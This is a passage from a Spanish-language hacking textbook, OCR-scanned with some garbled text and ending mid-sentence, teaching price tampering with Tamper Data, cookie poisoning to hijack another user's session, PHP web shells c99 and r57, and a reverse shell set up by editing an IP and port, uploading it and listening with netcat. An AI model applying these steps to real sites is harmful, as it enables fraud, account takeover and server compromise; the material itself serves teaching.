Figura 13. Tamper Data es un add-on para Firefox
que permite ver y modificar las cabeceras HTTP.

Cuando iniciamos la herramienta, vemos una
ventana dividida en tres partes. En la seccion de

arriba aparecen todas las peticiones que vaya TAMPER DATA PUEDE
realizando el navegador. VER Y MODIFICAR LAS
Al seleccionar alguna de estas peticiones,
en la parte inferior izquierda visualizaremos CABECERAS HTTP
las cabeceras de la consulta y en la derecha la QUE ENViA NUESTRO
respuesta obtenida.
El simple hecho de ver todas las peticiones NAVEGADOR

que realiza el navegador mientras utilizamos
una aplicacién web puede ser de gran ayuda
para encontrar alguna falla de seguridad que posea.
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0 Tamper Data - Siguientes peticiones |£I E”E
Comenzar modificacién  Parar modificacion  Limpiar Opciones  Ayuda
Fitro | vertodo
|Hora  Duracién  Duraciéntotsl  Tamafio  Método  Estsdo  Tipodecontenido URL  Marcadores cargados B2
51311310‘.. 218 ms 1012 ms 12182 GET 200 text/html http:/... VALIDATE_ALWAYS LO... ~
|18:130... 362 ms 362 ms 1 GET 304 application/x-unkn... http:/... LOAD_ONLY JF_MODL.. | |
|18:13:0... 204 ms 204 ms 1 GET 304 application/x-unkn... http:/... LOAD_ONLY_IF_MODL..
EIB:B:O,.. 364 ms 364 ms 1 GET 304 application/x-unkn... http:/... LOAD_NORMAL
118:13:1... 225 ms 225 ms | GET 304 application/x-unkn... http:/... LOAD_NORMAL =
|18:13:1... 198 ms 198 ms 0 GET 204 text/html http:/... VALIDATE_ALWAYS

... 207 ms 207 ms a GET 304 application/x-unkn... http:/... LOAD_ONLY_IF_MODL..
131.. 0ms Oms unknown  GET pending unknown http:/... LOAD_NORMAL | &
:1... 0 ms 0ms unknown  GET pending unknown http:/... LOAD_NORMAL
71... 198 ms 1636 ms 11725 GET 200 text/html hitp:/... LOAD_DOCUMENT_UR...
.. 207 ms 207 ms 8754 GET 200 image/gif http:/... LOAD_NORMAL
590 ms 590 ms 17641 GET 200 image/jpeg http:/... LOAD_NORMAL
:13:1... 972 ms 972 ms 4537 GET 200 image/jpeg hitp:/... LOAD_NORMAL
.. 703 ms 703 ms 10974 GET 200 image/jpeg hitp:/... LOAD_NORMAL -
N | Nombre de cabecers pe.. Valor de cabecera pedida Nombre de cabecera recibida  Valor de cabecera recibida |

| Host www.google.com.ar Status OK - 200
User-Agent Mozilla/5.0 (Windows NT 6.1; rv:5.0)... | ||| Date Sun, 14 Aug 2011 21:13:11 GMT

| Accept text/html, application/xhtml+xml,ap... Expires -1

| Accept-Language es-ar,e5:q=08,en-us;g=0.5,en:q=03 Cache-Control private, max-age=0

| Accept-Encoding gzip, deflate Content-Type text/html; charset=UTF-8

| Accept-Charset 150-8859-1, utf-8:q=0.7,%q=0.7 Content-Encoding grip

| Connection keep-alive Server gws
Referer http://www.google.com.ar/ Content-Length 11725
Cookie PREF=ID=0f5e375f4ffccOce:U=8d7d... X-X55-Protection 1; mode=block

Figura 14. En la parte superior de la ventana vemos
todas las peticiones que realiza el navegador; al seleccionar
una, podemos ver sus cabeceras en la division inferior.

Si se trata de formularios, podemos hacer todo lo que aprendimos en
la seccion anterior y mas. Supongamos que la aplicacion de compra de
libros que vimos anteriormente contenga un co6digo con tecnologia client-
side que, antes de enviar el formulario completo al servidor, revise que el
precio del libro no se haya modificado y efectivamente sea de U$540.

Si fuera asi, la técnica que aprendimos no funcionaria, volviendo
indispensable el uso de Tamper Data. Para hacerlo, debemos
completar todos los datos que solicite el formulario pero, antes de
enviarlo, abrir el add-on y apretar el boton Comenzar modificacion
(ubicado en la esquina superior izquierda). A partir de alli, cada vez

- 2%

Por si fuera poco, Tamper Data también es usado para el hack de minijuegos online. Por ejemplo, cuando

perdemos, la aplicacién envia al servidor nuestro puntaje. Silo interceptamos con Tamper Data podemos
modificarlo y elevarnos la cantidad de puntos. En internet hay bastantes tutoriales y videos sobre el hack
de juegos con este add-on.
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que el navegador envie informacion aparecera una pequefia ventana
que nos preguntara si queremos modificar o enviar los datos.
En nuestro ejemplo, los modificaremos.

@ Tamper Data - Siguientes peticiones =G
Comenzar modificacion  Parsr modificacion  Limpiar Opciones  Ayuda
Filtro Ver todo
Hora Duracién Duracién total ~ Tamafio Método Estado Tipo de contenido URL Marcadores cargados 9
18:42:1... 379 ms 3719 ms 646 POST 200 application/vnd.go... http:/... LOAD BYPASS CACHE
Ventana Tamper E

http://localhost/compra.php

Nombre de cabecera pedida ~ Valor de cabecera pedida | [re—— parémetro post  Valor de pardmetro post

Host localhost Precio U%245+40

User-Agent Mozilla/5.0 (Windows NT 6.1; Nombre Sheila

Accept text/html,application/xhtmi+ apellido Berta

Accept-Language es-ar,e5,q=0.8,en-us;q=0.5,en direccion lalala

Accept-Encoding gzip, deflate telefono 123456789

Accept-Charset 150-8859-1, utf-8:9=0.7,%q=0. ||| | mail shey.d%40gmail.com
Connection keep-alive select Seleccione+un+medic+de+p
Referer http://localhost/compra.php enviar Comprar

Figura 15. Al hacer clic en el boton Modi ficar se abre una ventana con
las cabeceras HTTP y los datos que se estan enviando por el método POST.

Tal como observamos en la Figura 15, del lado derecho el primer
valor que aparece es del campo Precio. Para cambiarlo, simplemente
reemplazamos su contenido como si viéramos
un campo de texto comun en la pagina web, y

luego presionamos Aceptar para que se envien al TAMPER DATA

servidor los datos modificados. De este modo, SIRVE PARA EVADIR

estamos burlando la verificaciéon del lado del

cliente que posee la aplicacion. PROTECCIONES
Queda demostrado una vez mas lo poco util DEL LADO

que es programar filtros y verificaciones de

seguridad en estas tecnologias. La solucién es DEL CLIENTE

utilizar lenguajes como PHP o ASP para validar los
datos una vez que llegaron al servidor.

Interceptar comunicaciones y modificar a gusto los datos que se
envian puede resultar muy interesante. Tamper Data no tiene como
unico blanco a los formularios, ya que también sirve para aplicaciones
web dinamicas que se comunican con el servidor para enviar y recibir
cualquier tipo de dato.
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Envenenamiento de cookies

En el capitulo anterior aprendimos un poco acerca de las

cookies, pero en esta seccién analizaremos el tema mas en detalle.
El protocolo HTTP es utilizado para la transferencia de recursos web,
pero no almacena informacion asociada a una sesion. De ahi surgio la
necesidad de inventar algo que nos mantuviera identificados durante
todo el tiempo que estuviéramos dentro del sitio web: las cookies.

Si no fuera por las cookies, dentro de un mismo sitio, tendriamos
que ingresar nuestro usuario y contrasefia cada vez que nos movemos
de pagina, ya que dicho protocolo no recuerda que somos nosotros y
la aplicaciéon nos pediria nuestros datos una y otra vez.

En la actualidad, cuando ingresamos con nuestro usuario y
contrasefia se nos asigna una cookie, gracias a la cual podemos tener
nuestras preferencias, privilegios y demas dentro de la aplicacion.

ﬂ_ -
images~ @ Information- il Miscellaneous- #* Outlines & Resizer & Tools [ View Source L] Options~
(" Ingresar 3
Usuario: Bhei ]
Contrasefia: [sessscssscsss |
Recordar siempre 4|
8 S

Figura 16. La duracion de la cookie dependera de la casilla Recordar
siempre. En caso de que esté desactivada, la cookie se rompe
al cerrar el navegador; de lo contrario, siempre estamos identificados.

Los foros, los portales de compra, las redes sociales... miles
y miles de aplicaciones utilizan las cookies para brindar servicios
mas ajustados a las preferencias de sus usuarios. La mayoria de los
navegadores web aceptan todas las cookies de todos los sitios por
los que pasamos, pero podemos configurarlos para que se rechacen
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todas o se pregunte si queremos o no aceptarlas. En Firefox,

por ejemplo, si vamos al menu Opciones dentro de Herramientas y
elegimos Eliminar determinadas cookies; podemos ver todas las que
tenemos y el contenido de cada una.

@ Cookies [sl®][=]
Bugcar: Vel

Las siguientes cookies estan guardadas en su computadora:

Sitio + Nombre de Cookie |
b | google.com
b | php.net

b |_)yahoo.com

4 |_)youtube.com

| youtube.com use_hitbox =
|_| youtube.com VISITOR_INFO1_LIVE

|| youtube.com PREF

|_| youtube.com GEO R

b | ubuntu-es.org b
Nombre: use_hitbox
Contenido: 72c46ff6cbedb7 c5585c36411b6b334ed AEAAAAW
Dominio: \youtube.com
Ruta: /
Enviada para: Cualquier tipo de conexion
Expira: Al finalizar la sesién

[ Eliminar Cookie ] [ Eliminar todas las Cookies J i Cerrar

Figura 17. En Firefox podemos ver las cookies
que lleva almacenadas nuestro navegador.

En la Figura 17 podemos observar la composiciéon de las “galletitas”.
En primer lugar tenemos el nombre (en este caso es use_hithox). Luego
seguimos con el contenido, una combinacién de nimeros y letras.
Después, el dominio al que pertenece la cookie (en esta ocasion es
youtube.com). Continuamos con la ruta: si es / significa que la cookie
es valida en todas las paginas y secciones del sitio, y de lo contrario
se especificara un path o ruta diferente. Por ultimo, encontramos la
fecha de expiracion: si al ingresar al sitio tildamos la casilla Recordar
siempre nos mantendremos identificados todo el tiempo (aunque
entremos y salgamos del navegador, apaguemos la computadora,
etcétera), mientras que si no la tildamos la cookie se rompe al salir
manualmente de la aplicacién o cerrar la pagina/navegador.

Dado que la cookie es quien nos mantiene identificados,
permitiéndonos manejar nuestras preferencias y privilegios en
el sitio, si obtenemos alguna que pertenezca a otro usuario se nos
asignaran sus mismos permisos y preferencias, y podremos ingresar
a la aplicacién como si fuéramos ese usuario. En el Capitulo 4

www.redusers.com
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aprendimos a obtener cookies ajenas, y vimos que podemos hacerlo si
logramos que el usuario acceda al sitio vulnerable mediante una URL
que inyecta codigo JavaScript programado para almacenar su cookie
en un archivo bajo nuestro poder.

La pregunta es... ;qué hacemos una vez que tenemos la cookie?

La idea es obtener su identidad, sus permisos y preferencias,
ingresar desde nuestro navegador tranquilamente tal como si
fuéramos ese usuario.

No tenemos la contrasefia del usuario, pero si su cookie, y con eso
nos alcanza para acceder a su cuenta, ya que estamos robando la
sesion que €l cred al acceder con sus datos a la aplicacién. Para
concretar el cookie poisoning o envenenamiento de cookies
debemos reemplazar la cookie que se nos asigné por la que obtuvimos.

usuario:adm & pass>redifichill94

~ Hola adm / cookie:h234gf54gf657fk7

Usuario Aplicacion

web
cookie:h234gf54gf657fk7

Hola adm!

Hacker

Figura 18. No necesitamos tener la contrasena del usuario
para obtener su identidad y aprovecharnos de sus permisos.

Burp Suite es un paquete con varias herramientas interesantes, entre ellas Burp Proxy, un software que

también sirve para llevar a cabo un envenenamiento de cookies. Podemos obtenerlo desde su sitio web
oficial: http://portswigger.net/burp/download.html. En internet hay disponibles videos y manuales

que explican cdmo realizar un cookie poisoning utilizando esta aplicacion.
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Pero para reemplazar nuestra cookie por la del usuario necesitamos
una herramienta que edite las cookies, ya que con Firefox solamente
podemos verlas y borrarlas. A continuaciéon profundizaremos el tema.

El complemento perfecto

Para editar nuestra cookie a fin de reemplazarla por la obtenida
usaremos el complemento para Firefox Edit Cookies, compatible hasta
el momento con la version 23.0.1 del navegador. Mas adelante veremos
también cémo realizar esta tarea utilizando Tamper Data.

ST e
Filter/Refresh

i Site Cookie Name

Tyoutuhe.com HEOO00.resume -

|youtube.com _utma 1)
| |youtube.com iaob

?youtube.com ke

|youtube.com sIp !

Note! The list above is not updated automatically when the CuE;Kc‘Innager is open.
Information about the selected Cookie
Name: SID
Content: DQAAALOAAABfoBcoOpZBIKhC 9L3JvgTr_TE37iciU6P5zkZ9t-HqGqCHOMBVAWG
Domain: .youtube.com
Path: /
Send For: Any type of connection
Expires: sabado, 11 de julio de 2015 07:22:45 a.m.

Selection: Cookie:
All - Add Sl

Figura 19. El complemento para Firefox Edit Cookies
nos permite ver, anadir, editar y eliminar nuestras cookies.

Una vez que instalamos el complemento procedemos a buscar la
cookie que se nos asigno y la seleccionamos. En la parte inferior de

Existe un add-on para Firefox conocido como FireSheep que permite robar la sesion de usuarios de

Facebook, Twitter, Google y demds, que estén conectados a una misma red y no tengan habilitadas las
medidas de proteccion adecuadas. Podemos encontrar informacién sobre esta herramienta en el blog
personal de su creador: http://codebutler.com/firesheep.
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la ventana podremos observar sus datos (nombre, contenido, fecha de
expiracion, etcétera). Dado que queremos reemplazarla, presionaremos
el boton Edit y se abrira una nueva ventana, que permitira editar cada
uno de sus componentes. Finalmente, reemplazamos el contenido de
nuestra cookie por la que obtuvimos.

@ st & Cvtonrr €8 [ breer 8 bvager @ btematner (] Macalassmar 7 Gubbar o Bmvee 2 Toshe 8 Vow Scrcns 1, Opvomee

Hola Shey, bienvenid§ a nuestro sitio web!
Estas usando el navegador web Firefox 11.@
Tu sistena operativo es Windows 7
Y tu direccién IP: 190.68.185.33

------

Figura 20. En la ventana de edicion debemos reemplazar
el campo Content por el contenido de la cookie obtenida.

Otro detalle interesante a tener en cuenta es la fecha de expiracion.
No deberiamos dejar que una cookie que tanto costo conseguir expirara
0 se rompiera en poco tiempo. Alli mismo podemos modificar la fecha
de expiracion y reemplazar, por ejemplo, el afio actual por el 2020.

Por ultimo, debemos guardar los cambios y recargar la pagina.
Estaremos identificados como el usuario de quien obtuvimos su
cookie y podremos acceder a todos los datos de su cuenta y usar
sus permisos y preferencias.

Modificar cookies con Tamper Data

A continuacion aprenderemos a modificar las cookies utilizando
Tamper Data. Comenzaremos la modificacién al ingresar al sitio en
cuestion. Al enviarse la peticion presionaremos el botdén Modificar, de
modo que nos aparezca la ventana con las cabeceras HTTP. En la Figura
21 vemos que el tltimo campo es el de la cookie: reemplazaremos su
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valor y aceptaremos, para enviar los datos al servidor. Acto seguido,
se cargara la pagina con nuestra nueva identidad.

® 4 oten ]

D tusse B Covtier /00 [J bureer @ ivager @ bmmaner [ Mocsletesur 7 Ouier /' fmer K Tk @ Ve lewiar | Opeeess

Hola Shey, bienvenid§ a nuestro sitio web!
Estas usando el navegador web Firefox 11.@
3 Tu sistema ooerativo es Windows 7
[ — v IP; 190,68.185.33
e -' v Pee evdbumodn . Opwrey Agelde

[PIRY VT T T U S—

Pervhie s parrere 5

Figura 21. Con Tamper Data también podemos
realizar un envenenamiento de cookies.

En definitiva, solo necesitamos alguna herramienta que nos ayude a
editar nuestras cookies. Edit Cookies es un complemento ideal y posee
una interfaz grafica muy facil de usar. Por otro lado, Tamper Data es
excelente, ya que permite hacer muchisimas cosas, incluso modificar
las cookies que se envian al servidor. Otras aplicaciones que sirven
son las del estilo de Burp Proxy. En internet hay muchas herramientas
disponibles para ayudarnos en la técnica de envenenamiento de cookies.

Del lado del cliente pueden efectuarse técnicas de ataque muy interesantes. En este capitulo aprendimos

algunas de ellas, como la manipulacién de formularios, y manejamos herramientas que facilitan la modi-
ficacidn de campos de texto y permiten ver campos ocultos y eliminar limites para realizar inyecciones.
Por otro lado, aprendimos a situarnos en el medio de nuestra propia conexion con el servidor para, desde
alli, saltar filtros programados en tecnologias del lado del cliente y asi poder vulnerar la aplicacion web.
Por (ltimo realizamos la técnica de cookie poisoning y entendimos por qué es de interés para un hacker
obtener cookies de otros usuarios.
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Actividades

o O A WN =

B W N =

TEST DE AUTOEVALUACION

;Con qué inconvenientes puede encontrarse un hacker frente a un formulario?
(Qué herramientas ofrece el complemento Web Developer?

;Para qué sirve convertir los métodos de envio de datos de un formulario?
:Como podemos ver y modificar un campo oculto? ;Por qué es (til esto?

(Por qué puede ser Gtil eliminar el limite de caracteres de un campo de texto?

;Qué podemos lograr metiéndonos en medio de la comunicacién entre nuestro
navegador y el servidor web?

;Qué herramientas nos ayudan a interceptar y modificar los datos que envia
una aplicacion?

;Por qué es de interés para un hacker robar una cookie?

EJERCICIOS PRACTICOS

Investigue las herramientas del complemento Web Developer.
Convierta el método de envio de GET a POST y de POST a GET en un formulario.
Elimine el limite de caracteres de un campo que utilice la propiedad maxlength.

Intercepte comunicaciones entre usted y el servidor web mediante el comple-
mento Tamper Data.

Realice un envenenamiento de cookies utilizando el complemento Edit Cookies.

PROFESOR EN LiNEA

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Inclusion de archivos

Hasta ahora solo hemos visto ataques que se llevan a cabo
del lado del cliente. Llego el momento de obtener control total
de un servidor web. Buscaremos, en la programacion de

las paginas, fallas de seguridad para incluir archivos locales

y remotos. Analizaremos los peligros de un error de este tipo
y como apoderarnos del servidor mediante la inclusion de

diversos archivos internos y externos.

v Introduccion a la inclusion v Local File Inclusion. ............... 185 *

de archivos ..ceeceeeveemeeneemseanenas 168
v Solucion al problema............. 192
v Shells: control
en un solo archivo......cceeueeuien 171 v RESUM BN cuveeseessensensssnnsnsmmnnnns 195
» Remote File Inclusion............ 180 v Actividades......cocceeeemreemecnnsnns 196
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Introduccion a la
inclusion de archivos

Cuando utilizamos el término inclusion de archivos nos estamos
refiriendo a la inclusién de un documento dentro de otro, por ejemplo,
una pagina web dentro de otra.

¢Cual es la utilidad? Supongamos que tenemos que programar
un sitio que en cada pagina tenga una misma publicidad. Por légica
tendremos que repetir el mismo co6digo en cada lugar donde se desee
mostrar el anuncio, lo cual puede ser tedioso y nos ocupara unas
cuantas lineas. Pero tenemos otra opcion: programar todo el codigo
necesario para mostrar la publicidad en un solo archivo, y luego
incluirlo en todas las paginas necesarias. De tal modo, la cantidad
de lineas que tendremos que programar se reducira a una sola, que
se encargara de incluir el archivo en el lugar indicado.

Pagina
web
publicidad
s publicidad
pagina.php publicidad.php

Figura 1. El método de inclusion de archivos consiste
en incluir un documento (pub1icidad.php) dentro de otro
(pagina.php), para que se muestren como uno solo.

Dado que los archivos que se incluyen estan alojados en el servidor,
necesitamos hacer uso de un lenguaje de programacién que se ejecute
de ese lado, como por ejemplo PHP, que ofrece funciones utiles para la
inclusion de archivos.

En este capitulo analizaremos una vulnerabilidad que compromete
de lleno la seguridad del servidor, a diferencia del XSS que solo afecta
al usuario. En la técnica de Cross-Site Scripting usamos JavaScript, un
lenguaje que se interpreta en el navegador web, y por ende el ataque
solo afecta al cliente; mientras que las inclusiones de archivos se
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manejan completamente del lado del servidor, haciendo uso de PHP
u otro lenguaje server-side. La vulnerabilidad que trataremos se basa
en fallos de seguridad en el uso de funciones que permiten realizar
una inclusiéon de archivos.

Inclusion de archivos locales

Los archivos locales son los que se hospedan en un mismo
servidor web. Siguiendo el ejemplo anterior de la
publicidad, los documentos pagina.php y publicidad.

php se encuentran en la misma ubicacién, por lo LAS INCLUSIONES

tanto, se realiza una inclusion local. DE ARCHIVOS SE
En algunos sitios, sucede que al navegar

a través del menu la direccién URL se va MANEJAN CON

modificando. Por ejemplo, puede que al entrar al TECNOLOGiAS

item Empresa veamos algo similar a www.sitio.
com/index.php?pag=empresa.php. En cambio, SERVER-SIDE
si nos movemos a Contacto, la URL sera www.
sitio.com/index.php?pag=contacto.php.

En estos casos, es probable que se esté usando la funciéon include de
PHP, que permite realizar inclusiones de archivos. La pagina principal
incluye en su contenido el archivo que deseamos ver, PHP interpreta
todo como una sola pagina y se la envia al usuario.

index.php

l_ include(empresa.php); |

PHP empresa.php

S

Cliente

Servidor web

Figura 2. Se incluye dentro de index.php el contenido de empresa.php.
PHP las interpreta como una sola pagina y las muestra al usuario.

En resumen, hablamos de una inclusion local cuando el contenido

de un archivo se incluye dentro de otro y ambos estan alojados en el
mismo servidor web.
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Ahora bien, jqué ocurriria si, por fallos de seguridad en la
programacion del codigo, podemos modificar el archivo que se
incluye?;Y qué pasaria si no hay ningun filtro que verifique si se esta
incluyendo el documento correcto? En esa situacion, podriamos incluir
y ver el contenido de cualquier otro archivo alojado en el servidor,
mediante la técnica denominada Local File Inclusion (LFI).

Inclusion de archivos remotos

Hemos visto como pueden incluirse archivos locales dentro de un
sitio web, pero también podria darse el caso de que el programador
necesite incluir en alguna de sus paginas el cédigo de un archivo
alojado en otro servidor.

Supongamos que el documento de la publicidad esta en una
ubicacion diferente a la de la pagina donde debe mostrarse; en ese
caso, la sintaxis de la funcién include de PHP seria similar a la siguiente:
include(‘http://sitio.com/publicidad.php’);.

publicidad.php

Servidor web 2

pagina.php
s include(”http://web.com/publicidad.php”);
Cliente Servidor web 1

Figura 3. pagina.php incluye en su contenido el archivo
publicidad.php, que se hospeda en un servidor diferente;
por lo tanto, se realiza una inclusion de archivos remota.

Al igual que en una inclusiéon local, existe la posibilidad de que
haya fallos de seguridad en el uso de las funciones PHP que permiten
incluir archivos, poniendo en peligro al servidor web. La técnica de
Remote File Inclusion (RFI), al igual que LFI, aprovecha un error
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en la aplicacién que permita al atacante modificar el archivo que se va
a incluir, con la diferencia de que, si se trata de una inclusion local, se
puede ver el contenido de cualquier archivo del servidor. En el caso

de la inclusién remota se puede subir al servidor otro archivo, por
ejemplo, uno que otorgue al hacker control total sobre el servidor web.

Shells: control en
un solo archivo

Quizéas nunca hayamos escuchado la palabra shell en el ambito de la
informatica. Sin embargo, cualquier persona que utiliza una computadora
esta haciendo uso de ellas, ya que son programas que ayudan al usuario
a acceder y controlar los servicios que ofrece el sistema operativo. Por
ejemplo, el Explorer de Windows es una shell grafica usada al llevar a cabo
cualquier tarea. También existen las de texto, como la terminal o consola
de comandos (CMD) que poseen todos los sistemas de Microsoft.

En resumen, las shells son programas que posibilitan la interacciéon
con el sistema operativo, y el objetivo de un ataque si lo que se busca
es el control total del sistema.

P ]
BN Administrador: Simbolo del sistema a || B

Microsoft Windows [Uersion 6.1.76081
Copyright (c> 2808? Microsoft Corporation. Reservados todos los derechos.

C:\Usersishey>

Figura 4. En Windows 7/, ingresando al menu Inicio/Todos
los programas/Accesorios encontramos el item
Simbolo de sistema, que abre la shell de Windows.
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Es logico pensar, entonces, que el objetivo de un hacker
malintencionado sea obtener de manera remota una shell sobre
el sistema que esté atacando. ;Pero por qué de manera remota? El
atacante, la mayoria de las veces, no tiene acceso fisico al sistema al
que quiere ingresar, por lo cual debe lograr el control total a través de
una shell, ejecutando comandos en ella desde su computadora.

En el caso de los servidores web, el objetivo es subir una
PHP shell. A diferencia de otras, éstas estan programadas en PHP
y contienen funciones especialmente hechas para facilitar el manejo
del servidor web, por lo cual suelen ser detectadas por los antivirus.
Sin embargo, existen modos de hacerlas pasar desapercibidas, en el
sitio http://r57.gen.tr podemos conseguir varias de ellas.

A continuacién, conoceremos las PHP shell mas destacadas que
existen y aprenderemos a usarlas.

shell.php

Hacker Servidor web

Figura 5. El objetivo es lograr subir una PHP shell
al servidor, y asi obtener su control total.

Las shells mas populares

Una shell no es un virus. Si bien son detectadas por los antivirus,
por si mismas no causan dafio al servidor, sino cuando quedan

.\\ INCIC

Existen cuatro funciones en este lenguaje que permiten trabajar con inclusion de archivos. Hasta aqui
hemos visto include, pero también estan include_once, require y require_once. Todas sirven para incluir

archivos. Las diferencias entre ellas son minimas y estan documentadas en www.php.net.
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en manos de un atacante. Hay muchas shells

diferentes y todas cumplen el mismo objetivo, AL EJECUTAR

pero algunas poseen mas funciones utiles. COMANDOS EN UNA
Las mas populares son ¢99 y ¥57.

PHP SHELL PODEMOS

CONTROLAR UN

c99

Es una shell antigua, aunque ha tenido SERVIDOR WEB
muchas versiones, modificaciones y mejoras a
lo largo a los afios. Si bien no existe un sitio web
determinado donde podamos descargarla, esta subida a
muchisimas paginas (como la mencionada http://r57.gen.tr).

Una vez obtenida debemos alojarla en un servidor web bajo
nuestro poder y acceder a ella desde el navegador (como hariamos
con cualquier otro archivo PHP).

En primer lugar veremos informacion acerca del servidor
(por ejemplo el software que se esta utilizando, los permisos, si se
encuentra activado el Safe Mode y el espacio disponible en el disco).
Luego encontraremos un menu con herramientas, que analizaremos
a continuacion, y el listado de directorios y archivos del servidor. Las
acciones que podemos ejecutar sobre las carpetas y documentos del
sitio son borrar, cortar y copiar, y hacia el final se encuentra la opciéon
de buscar archivos y crear nuevos directorios.

* Sy [ +] F O & &
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Figura 6. El listado de directorios y archivos del servidor
es lo primero que encontramos al acceder a la shell ¢99.
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Sobre el men, la primera herramienta es el Encoder, que codifica
y/o calcula el hash de lo que escribamos, en el area de texto de la parte
superior. Por ejemplo, si queremos codificar la frase “hola, todo bien?”,
luego de escribirla debemos presionar el boton Encoder para calcular,

y automaticamente veremos en los campos de texto inferiores el
equivalente en MD5, base64, shal, urlencode y hexadecimal,
entre otras codificaciones y hashes.

& & b (%] PO + W
1C99Shell v. 1.0 beta (21.05.2005)!

Figura 7. La herramienta Encoder sirve
para codificar el texto que queramos.

Adicionalmente, en el ment también disponemos de la opcién
SQAL, util para manipular las bases de datos que posea el servidor. En
primer lugar veremos campos con los datos para conectarnos y luego
encontraremos varias opciones: crear una base de datos nueva, elegir
una de las existentes y acceder a sus tablas y columnas, borrar o
modificar una base de datos, entre otras.

Programar una PHP shell es una tarea bastante dificil. Pero, si nos gusta el lenguaje, es un proyecto que

nos hara crecer mucho en conocimientos sobre PHP. No es necesario tenerla completamente terminada
para poder usarla, ya que podemos comenzar con funciones Utiles y sencillas, como el listado de archi-

vos del servidor, y luego ir avanzando.
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Figura 8. La shell ¢99 posee una herramienta para el manejo
de las bases de datos que permite ver, crear,
borrar y modificar bases de datos, tablas y columnas.

Por ultimo podemos nombrar a la herramienta PHP-Code,
que permite ejecutar en el servidor cualquier cédigo PHP, mediante
un area de texto.

En conclusion, la shell c99 pone a nuestra disposicion excelentes
herramientas para obtener el control total de un servidor web.
Conozcamos ahora otra shell interesante.

LOS ANTIVIRUS

r57 BLOQUEAN LAS PHP
La PHP shell r57 posee menos funciones que
la 99, pero aun asi es de gran ayuda para quien SHELL C99 Y R57

busca apoderarse de un servidor web. En primer PORQUE SON USADAS
lugar, muestra datos del servidor (practicamente

los mismos de la shell anterior). POR ATACANTES
Si queremos navegar a través de los

directorios del servidor, debemos utilizar el

ejecutor de comandos que aparece debajo del listado de

archivos. También existe la posibilidad de buscar y editar archivos

ya existentes en el sitio, y hay una consola PHP para ejecutar

cualquier script en este lenguaje.
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g | | v |
G99 WehL (I MG G Seatgasdn. Ot Sna, G

Figura 9. A pesar de tener menos funciones que la shell ¢99,
la ¥r57 es muy usada por atacantes para apoderarse de servidores web.

Existen, también, las opciones destinadas a subir y bajar
archivos del servidor y desde un FTP remoto. Otra funcionalidad
interesante es la de poder enviar mails anénimos o con remitentes
falsos, algo muy utilizado por los poco queridos spammers
(personas que se dedican a enviar correo electrénico no deseado).

Por ultimo, la herramienta para bases de datos permite
conectarse y ejecutar cualquier comando con la sintaxis SQL.

- pr— (] F B & N

et ¢ C o Tl R N DS
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Bages svbive sud sasvider g remate

m AW DATADASEN; SELECT ¢ PRGN uger: SEIECT werstme()s
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P
St Ve b

Figura 10. La interfaz grafica de la shell r57
es menos intuitiva que la que posee la ¢99.
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En las proximas secciones de este capitulo aprenderemos varias maneras
de incluir una shell en un servidor, mediante las técnicas de Remote File
Inclusion y Local File Inclusion. Antes de comenzar, queda un asunto
pendiente: cémo realizar una reverse shell o shell inversa.

Shell a mi

Como dijimos antes, los antivirus y firewalls detectan las shells
99 y r57 debido a que pueden ser utilizadas por atacantes para
tomar el control de un servidor web. En esta seccién aprenderemos a
obtener una shell inversa. Dado que un firewall suele aplicar mayor
restriccion al trafico entrante que al saliente, si logramos que sea
el servidor quien se conecte a nosotros brindandonos una shell,
probablemente saltaremos los firewalls que posea.

Hacker Firewall Servidor web

Hacker Firewall Servidor web

Figura 11. Obtener una shell inversa consiste
en lograr que el servidor web se conecte a nosotros,
de modo que el firewall no bloguee la conexion.

El primer paso es conseguir el archivo PHP encargado de conectar
el servidor web a la direccion IP y puerto que especifiquemos. Acto
seguido, nos brindara una shell de comandos dentro del sistema,
pero que es controlada desde nuestra computadora.
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Debemos ingresar a la Web de PentestMonkey (www.pentestmonkey.
net), dirigirnos al menu Tools y entrar en la categoria Web Shells. Alli
veremos el tema Reverse Shell, donde podremos hallar su codigo fuente
y un ejemplo de uso en idioma inglés (tengamos en cuenta que esta shell
inversa solo funciona en sistemas Linux). Una vez obtenida, debemos
abrirla con cualquier editor de texto y encontraremos, en los comienzos del
c6digo, dos lineas que debemos modificar:

$ip ='127.0.0.1"; // CHANGE THIS
$port = 1234:  // CHANGE THIS

Reemplazaremos el valor de la variable ip por la direcciéon IP de nuestra
computadora (que podemos averiguar, por ejemplo, en www.cualesmiip.
com). Luego elegiremos un nimero de puerto para realizar la conexion
(por ejemplo, 5555) y se lo pasaremos como valor a la variable port.

o )

* reverseshell.txt {/var/www) - gedit

Plain Text v TabWidth: 8 ¥+  Ln S0, Cot 13 NS
£ reverseshell.txt (Mvar..

Figura 12. Debemos especificarle a la shell la direccion IP
y el puerto al que se va a conectar el servidor web.

Realizados los cambios, guardamos el archivo con extension .php
y lo subimos al servidor web objetivo (mediante la herramienta para
subir archivos que posee la ¢99 o -en caso de no tener ninguna PHP
shell hospedada en el servidor- explotando alguna vulnerabilidad
que nos permita lograrlo).
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Antes de ejecutar la shell inversa en el servidor

debemos poner a la escucha de conexiones el UNA SHELL INVERSA

puerto 5555 (o el que hayamos elegido) en nuestra LOGRA QUE

computadora, haciendo uso de la herramienta de red

NetCat (NC), vista en el Capitulo 3. EL SERVIDOR SEA
En la Figura 13 podemos observar los sencillos EL QUE SE CONECTA

parametros que debemos pasarle a NC para lograr

recibir la shell en el servidor. En primer lugar, A NOSOTROS

vemos la -v (modo verbose) para mas

informacién de la conexién, luego -l (listen) para

poner a la escucha el NetCat, y por ultimo -p, para especificar el puerto
(en este caso 5555). El comando completo es: nc —v -I —p 5555. Ahora si,
accedemos desde la barra de direcciones o ejecutamos desde la c99/
r57 nuestro archivo PHP de la shell inversa para recibir la conexién.

Frisep 9,1216AM &

|

Figura 13. Obtuvimos una shell de comandos en el servidor,
controlada desde nuestra computadora.

Hemos visto el poder de una shell, pero de nada sirve si no logramos
subir una PHP shell o shell inversa al servidor web. En el comienzo
de este capitulo nos introdujimos en la inclusiéon de archivos locales
y remotos, y conocimos la posibilidad de que haya fallos en el uso de
las funciones PHP que permiten realizar inclusiones. Desde alli parten
las técnicas Local File Inclusion (LFI) y Remote File Inclusion (RFI), que
analizaremos en profundidad a continuacion.
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Remote File Inclusion

Como hemos visto, puede suceder que un programador web necesite
incluir en alguna de sus paginas el codigo de un archivo alojado en otro
servidor web. Sabemos que se puede lograr mediante la funcién include de

PHP, pero hacer uso de ella tiene sus riesgos, ya que
sin darse cuenta el desarrollador podria programar

